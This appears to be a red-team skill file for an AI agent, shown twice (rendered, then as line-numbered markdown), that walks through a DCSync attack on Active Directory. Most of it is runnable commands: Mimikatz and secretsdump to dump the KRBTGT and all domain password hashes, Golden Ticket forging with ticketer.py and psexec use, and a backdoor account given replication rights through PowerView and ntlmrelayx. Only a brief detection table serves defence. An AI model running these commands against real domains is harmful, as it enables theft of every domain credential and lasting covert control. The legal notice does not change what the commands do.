TL;DR
- 目的:Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extrac…
- 适用:AD/网络/红队场景(项目全量测试)
- 输入:AD 域 + DCSync 权限账号
- 输出:渗透证据链 + 复现步骤
- 红线:仅 A 模式项目全量测试,B 模式禁用;禁止未授权使用
- 关联:上游:003-src-session-start → 下游:097-exploiting-active-directory-with-bloodhound, 079-enumerating-cloud-with-cloudfox, 092-conducting-internal-network-penetration-test
Conducting Domain Persistence with DCSync
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.
When to Use
- When conducting security assessments that involve conducting domain persistence with dcsync
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Identify accounts with DCSync (replication) rights in Active Directory
- Perform DCSync using Mimikatz or Impacket's secretsdump.py
- Extract the KRBTGT account hash for Golden Ticket creation
- Dump all domain user password hashes for credential analysis
- Forge Golden Tickets for persistent domain access
- Grant DCSync rights to a controlled account for alternative persistence
- Document the attack chain and persistence mechanisms
MITRE ATT&CK Mapping
- T1003.006 - OS Credential Dumping: DCSync
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1222.001 - File and Directory Permissions Modification: Windows
- T1098 - Account Manipulation
- T1078.002 - Valid Accounts: Domain Accounts
Workflow
Phase 1: Identify Accounts with DCSync Rights
- Enumerate principals with replication rights:
# Using PowerView
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replicating') -and
($_.ActiveDirectoryRights -match 'ExtendedRight') } |
Select-Object SecurityIdentifier, ObjectAceType
# Using BloodHound Cypher query
MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
RETURN u.name, d.name
- Using Impacket's FindDelegation or custom LDAP query:
# Check with Impacket
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
- Default accounts with DCSync rights:
- Domain Admins
- Enterprise Admins
- Domain Controllers group
- SYSTEM on Domain Controllers
Phase 2: DCSync Credential Extraction
- Using Mimikatz (Windows):
# Dump specific account (KRBTGT for Golden Ticket)
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
# Dump Domain Admin
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
# Dump all domain accounts
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
- Using Impacket secretsdump.py (Linux):
# Dump all credentials
secretsdump.py domain.local/admin:'Password123'@10.10.10.1
# Dump specific user
secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
# Dump only NTLM hashes (no Kerberos keys)
secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
# Using Kerberos authentication
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
Phase 3: Golden Ticket Creation
- Using Mimikatz with extracted KRBTGT hash:
# Create Golden Ticket
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> /ptt"
# Create with specific group memberships
mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
/sid:S-1-5-21-XXXXXXXXXX \
/krbtgt:<krbtgt_ntlm_hash> \
/groups:512,513,518,519,520 /ptt"
- Using Impacket ticketer.py (Linux):
# Create Golden Ticket
ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.local administrator
# Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
Phase 4: Persistence via DCSync Rights
- Grant DCSync rights to a controlled account for persistence:
# Using PowerView - Add DS-Replication-Get-Changes-All rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity backdoor_user -Rights DCSync
# Verify rights were added
Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
- Using ntlmrelayx.py for automated DCSync rights escalation:
# Relay authentication to add DCSync rights
ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
Tools & Systems
| Tool |
Purpose |
Platform |
| Mimikatz |
DCSync extraction, Golden Ticket creation |
Windows |
| secretsdump.py |
Remote DCSync (Impacket) |
Linux (Python) |
| ticketer.py |
Golden Ticket creation (Impacket) |
Linux (Python) |
| PowerView |
ACL enumeration and modification |
Windows (PowerShell) |
| Rubeus |
Kerberos ticket manipulation |
Windows (.NET) |
| ntlmrelayx.py |
DCSync rights escalation via relay |
Linux (Python) |
Critical Hashes to Extract
| Account |
Purpose |
Persistence Value |
| krbtgt |
Golden Ticket creation |
Indefinite domain access |
| Administrator |
Direct DA access |
Immediate privileged access |
| Service accounts |
Lateral movement |
Service access across domain |
| Computer accounts |
Silver Ticket creation |
Service-level impersonation |
Detection Signatures
| Indicator |
Detection Method |
| DrsGetNCChanges RPC calls from non-DC sources |
Network monitoring for DRSUAPI traffic from unusual IPs |
| Event 4662 with Replicating Directory Changes GUIDs |
Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |
| Event 4624 with Golden Ticket anomalies |
Logon events with impossible SIDs or non-existent users |
| ACL modifications on domain root object |
Event 5136 (directory service changes) |
| Replication traffic volume spike |
Network baseline deviation monitoring |
Validation Criteria
Output Format
{
"attack_path": "<chain summary>",
"steps": [
{"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},
...
],
"evidence": "<log/screenshot path>",
"impact": "<DA/Admin/DC compromise / credential dump / etc>",
"cleanup": "<artifact removal checklist>"
}
Save to share/intel/findings/<target>-<ad-<timestamp>.md.
1---2name: conducting-domain-persistence-with-dcsync3description: Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extrac…4license: Apache-2.05---67## TL;DR89- **目的**:Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extrac…10- **适用**:AD/网络/红队场景(项目全量测试)11- **输入**:AD 域 + DCSync 权限账号12- **输出**:渗透证据链 + 复现步骤13- **红线**:**仅 A 模式项目全量测试**,B 模式禁用;禁止未授权使用14- **关联**:上游:003-src-session-start → 下游:097-exploiting-active-directory-with-bloodhound, 079-enumerating-cloud-with-cloudfox, 092-conducting-internal-network-penetration-test1516# Conducting Domain Persistence with DCSync171819> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.2021## Overview2223DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.242526## When to Use2728- When conducting security assessments that involve conducting domain persistence with dcsync29- When following incident response procedures for related security events30- When performing scheduled security testing or auditing activities31- When validating security controls through hands-on testing3233## Prerequisites3435- Familiarity with red teaming concepts and tools36- Access to a test or lab environment for safe execution37- Python 3.8+ with required dependencies installed38- Appropriate authorization for any testing activities3940## Objectives4142- Identify accounts with DCSync (replication) rights in Active Directory43- Perform DCSync using Mimikatz or Impacket's secretsdump.py44- Extract the KRBTGT account hash for Golden Ticket creation45- Dump all domain user password hashes for credential analysis46- Forge Golden Tickets for persistent domain access47- Grant DCSync rights to a controlled account for alternative persistence48- Document the attack chain and persistence mechanisms4950## MITRE ATT&CK Mapping5152- **T1003.006** - OS Credential Dumping: DCSync53- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket54- **T1222.001** - File and Directory Permissions Modification: Windows55- **T1098** - Account Manipulation56- **T1078.002** - Valid Accounts: Domain Accounts5758## Workflow5960### Phase 1: Identify Accounts with DCSync Rights611. Enumerate principals with replication rights:62 ```powershell63 # Using PowerView64 Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |65 Where-Object { ($_.ObjectAceType -match 'Replicating') -and66 ($_.ActiveDirectoryRights -match 'ExtendedRight') } |67 Select-Object SecurityIdentifier, ObjectAceType6869 # Using BloodHound Cypher query70 MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)71 RETURN u.name, d.name72 ```732. Using Impacket's FindDelegation or custom LDAP query:74 ```bash75 # Check with Impacket76 findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.177 ```783. Default accounts with DCSync rights:79 - Domain Admins80 - Enterprise Admins81 - Domain Controllers group82 - SYSTEM on Domain Controllers8384### Phase 2: DCSync Credential Extraction851. Using Mimikatz (Windows):86 ```powershell87 # Dump specific account (KRBTGT for Golden Ticket)88 mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"8990 # Dump Domain Admin91 mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"9293 # Dump all domain accounts94 mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"95 ```962. Using Impacket secretsdump.py (Linux):97 ```bash98 # Dump all credentials99 secretsdump.py domain.local/admin:'Password123'@10.10.10.1100101 # Dump specific user102 secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1103104 # Dump only NTLM hashes (no Kerberos keys)105 secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1106107 # Using Kerberos authentication108 export KRB5CCNAME=admin.ccache109 secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local110 ```111112### Phase 3: Golden Ticket Creation1131. Using Mimikatz with extracted KRBTGT hash:114 ```powershell115 # Create Golden Ticket116 mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \117 /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \118 /krbtgt:<krbtgt_ntlm_hash> /ptt"119120 # Create with specific group memberships121 mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \122 /sid:S-1-5-21-XXXXXXXXXX \123 /krbtgt:<krbtgt_ntlm_hash> \124 /groups:512,513,518,519,520 /ptt"125 ```1262. Using Impacket ticketer.py (Linux):127 ```bash128 # Create Golden Ticket129 ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \130 -domain domain.local administrator131132 # Use the ticket133 export KRB5CCNAME=administrator.ccache134 psexec.py -k -no-pass domain.local/administrator@DC01.domain.local135 ```136137### Phase 4: Persistence via DCSync Rights1381. Grant DCSync rights to a controlled account for persistence:139 ```powershell140 # Using PowerView - Add DS-Replication-Get-Changes-All rights141 Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \142 -PrincipalIdentity backdoor_user -Rights DCSync143144 # Verify rights were added145 Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |146 Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }147 ```1482. Using ntlmrelayx.py for automated DCSync rights escalation:149 ```bash150 # Relay authentication to add DCSync rights151 ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user152 ```153154## Tools & Systems155156| Tool | Purpose | Platform |157|------|---------|----------|158| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |159| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |160| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |161| PowerView | ACL enumeration and modification | Windows (PowerShell) |162| Rubeus | Kerberos ticket manipulation | Windows (.NET) |163| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |164165## Critical Hashes to Extract166167| Account | Purpose | Persistence Value |168|---------|---------|-------------------|169| krbtgt | Golden Ticket creation | Indefinite domain access |170| Administrator | Direct DA access | Immediate privileged access |171| Service accounts | Lateral movement | Service access across domain |172| Computer accounts | Silver Ticket creation | Service-level impersonation |173174## Detection Signatures175176| Indicator | Detection Method |177|-----------|-----------------|178| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |179| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs) |180| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |181| ACL modifications on domain root object | Event 5136 (directory service changes) |182| Replication traffic volume spike | Network baseline deviation monitoring |183184## Validation Criteria185186- [ ] Accounts with DCSync rights enumerated187- [ ] KRBTGT hash extracted via DCSync188- [ ] All domain credentials dumped successfully189- [ ] Golden Ticket forged and validated for DA access190- [ ] DCSync rights persistence mechanism established (if in scope)191- [ ] Access to Domain Controller validated with Golden Ticket192- [ ] Evidence documented with hash values and timestamps193- [ ] Remediation recommendations provided (double KRBTGT reset, ACL audit)194195## Output Format196197```json198{199 "attack_path": "<chain summary>",200 "steps": [201 {"step": 1, "action": "<technique>", "tool": "<tool>", "result": "<outcome>"},202 ...203 ],204 "evidence": "<log/screenshot path>",205 "impact": "<DA/Admin/DC compromise / credential dump / etc>",206 "cleanup": "<artifact removal checklist>"207}208```209210Save to `share/intel/findings/<target>-<ad-<timestamp>.md`.